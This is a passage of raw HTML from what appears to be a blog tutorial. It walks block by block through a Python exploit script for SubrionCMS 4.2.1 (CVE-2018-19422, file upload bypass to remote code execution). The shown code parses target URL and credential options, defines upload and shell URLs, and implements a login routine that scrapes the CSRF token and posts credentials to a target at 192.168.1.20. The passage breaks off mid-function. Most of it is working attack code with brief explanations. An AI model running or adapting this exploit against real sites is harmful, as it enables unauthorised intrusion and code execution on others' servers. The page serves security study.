#89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">action<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">store<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">dest<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">user<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">help<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">User credential to login<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">add_option<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">-p<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">--passw<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">action<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">store<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">dest<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">passw<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">help<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Password credential to login<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">options<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> args <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">parse_args<\/span><span style=\"color: #89DDFF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>It displays &#8220;help&#8221; text to the screen when the -h flag is used. This section is responsible for that action.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>parser.add_option<\/code> &#8211;&gt; Defines the command-line options <code>-u<\/code>, <code>-l<\/code>, and <code>-p<\/code> for URL, username, and password.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:17;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"if not options.url:\n    print('[+] Specify an url target')\n    print('[+] Example usage: exploit.py -u http:\/\/target-uri\/panel')\n    print('[+] Example help usage: exploit.py -h')\n    exit()\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">not<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Specify an url target<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Example usage: exploit.py -u http:\/\/target-uri\/panel<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Example help usage: exploit.py -h<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>To attack the target, a URL must be entered by the user. This block ensures it is provided; otherwise, it prints usage examples and exits.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:23;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"url_login = options.url\nurl_upload = options.url + 'uploads\/read.json'\nurl_shell = options.url + 'uploads\/'\nusername = options.user\npassword = options.passw\n\nsession = requests.Session()\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">url_login <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">url_upload <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">uploads\/read.json<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">url_shell <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">uploads\/<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">username <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">user<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">password <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">passw<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">session <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">Session<\/span><span style=\"color: #89DDFF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>It is now time to define some variables.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>url_login<\/code><\/strong>: URL for the login page.<\/li>\n\n\n\n<li><strong><code>url_upload<\/code><\/strong>: URL for the upload endpoint.<\/li>\n\n\n\n<li><strong><code>url_shell<\/code><\/strong>: base URL for accessing the uploaded shell.<\/li>\n\n\n\n<li><strong><code>session<\/code><\/strong>: A session object to maintain headers and cookies across requests.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-blur-enabled cbp-unblur-on-hover\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:31;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(238, 255, 255, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"def login():\n    global csrfToken\n    print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \\n')\n    print('[+] Trying to connect to: ' + url_login)\n    try:\n        get_token_request = session.get(url_login)\n        soup = BeautifulSoup(get_token_request.text, 'html.parser')\n        csrfToken = soup.find('input',attrs = {'name':'__st'})['value']\n        print('[+] Success!')\n        time.sleep(1)\n\n        if csrfToken:\n            print(f&quot;[+] Got CSRF token: {csrfToken}&quot;)\n            print(&quot;[+] Trying to log in...&quot;)\n\n            auth_url = url_login\n            auth_cookies = {&quot;loader&quot;: &quot;loaded&quot;}\n            auth_headers = {&quot;User-Agent&quot;: &quot;Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&quot;, &quot;Accept-Language&quot;: &quot;pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;, &quot;Origin&quot;: &quot;http:\/\/192.168.1.20&quot;, &quot;Connection&quot;: &quot;close&quot;, &quot;Referer&quot;: &quot;http:\/\/192.168.1.20\/panel\/&quot;, &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;}\n            auth_data = {&quot;__st&quot;: csrfToken, &quot;username&quot;: username, &quot;password&quot;: password}\n            auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)\n\n            if len(auth.text) &lt;= 7000:\n                print('\\n[x] Login failed... Check credentials')\n                exit()\n            else:\n                print('[+] Login Successful!\\n')\n        else:\n            print('[x] Failed to got CSRF token')\n            exit()\n\n    except requests.exceptions.ConnectionError as err:\n        print('\\n[x] Failed to Connect in: '+url_login+' ')\n        print('[x] This host seems to be Down')\n        exit()\n\n    return csrfToken\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">login<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #C792EA\">global<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 <\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Trying to connect to: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> url_login<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">try<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        get_token_request <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">url_login<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        soup <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">BeautifulSoup<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">get_token_request<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">html.parser<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        csrfToken <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> soup<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">find<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">input<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF; font-style: italic\">attrs<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">name<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">__st<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">})[<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">value<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Success!<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        time<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sleep<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">f<\/span><span style=\"color: #C3E88D\">&quot;[+] Got CSRF token: <\/span><span style=\"color: #F78C6C\">{<\/span><span style=\"color: #82AAFF\">csrfToken<\/span><span style=\"color: #F78C6C\">}<\/span><span style=\"color: #C3E88D\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">[+] Trying to log in...<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_url <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> url_login<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_cookies <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loader<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loaded<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_headers <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">User-Agent<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Language<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Encoding<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">gzip, deflate<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Content-Type<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">application\/x-www-form-urlencoded<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Origin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Connection<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">close<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Referer<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20\/panel\/<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Upgrade-Insecure-Requests<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">1<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">            auth_data <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">__st<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">username<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> username<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">password<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> password<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">            auth <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">post<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">auth_url<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">headers<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">auth_headers<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">cookies<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">auth_cookies<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">data<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">auth_data<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">len<\/span><span style=\"color: 